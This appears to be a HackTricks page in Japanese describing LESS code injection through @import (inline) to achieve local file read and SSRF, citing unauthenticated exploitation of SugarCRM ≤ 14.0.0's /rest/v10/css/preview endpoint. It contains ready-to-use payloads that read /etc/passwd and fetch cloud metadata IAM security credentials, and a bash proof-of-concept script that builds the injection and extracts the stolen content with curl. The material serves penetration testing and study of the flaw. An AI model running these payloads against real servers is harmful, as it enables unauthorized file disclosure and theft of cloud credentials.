LESS Code Injection leading to SSRF & Local File Read

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

LESSはvariables、mixins、functionsと強力な@importディレクティブを追加する人気のあるCSSプリプロセッサです。コンパイル時に、LESSエンジンは@importステートメントで参照されるリソースを取得し、(inline)オプションが使用されている場合はそれらの内容を結果のCSSに埋め込み(“inline”)ます。

アプリケーションが文字列にuser-controlled inputを連結し、その文字列が後でLESSコンパイラによって解析される場合、攻撃者はinject arbitrary LESS codeすることができます。@import (inline)を悪用することで、攻撃者はサーバに対して次を取得することを強制できます:

  • ローカルファイルをfile://プロトコル経由で取得(information disclosure / Local File Inclusion)。
  • 内部ネットワークやクラウドメタデータサービス上のリモートリソース(SSRF)。

この手法はSugarCRM ≤ 14.0.0/rest/v10/css/preview endpoint)のような実製品で確認されています。

Exploitation

  1. LESSエンジンで処理されるstylesheet文字列に直接埋め込まれているパラメータを特定する(例: ?lm= in SugarCRM)。
  2. 現在のステートメントを閉じて新しいディレクティブを注入する。最も一般的なプリミティブは:
  • ; – 前の宣言を終了する。
  • } – 前のブロックを閉じる(必要な場合)。
  1. 任意のリソースを読み取るために @import (inline) '<URL>'; を使用する。
  2. 任意でインポート後にmarkerdata: URI)を挿入し、コンパイルされたCSSから取得したコンテンツを抽出しやすくする。

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

HTTPレスポンスには/etc/passwdの内容が@@END@@マーカーの直前に表示されます。

SSRF – クラウドメタデータ

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

自動化された PoC (SugarCRM の例)

#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

実際の事例

製品脆弱なエンドポイント影響
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=未認証の SSRF とローカルファイルの読み取り

参考

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする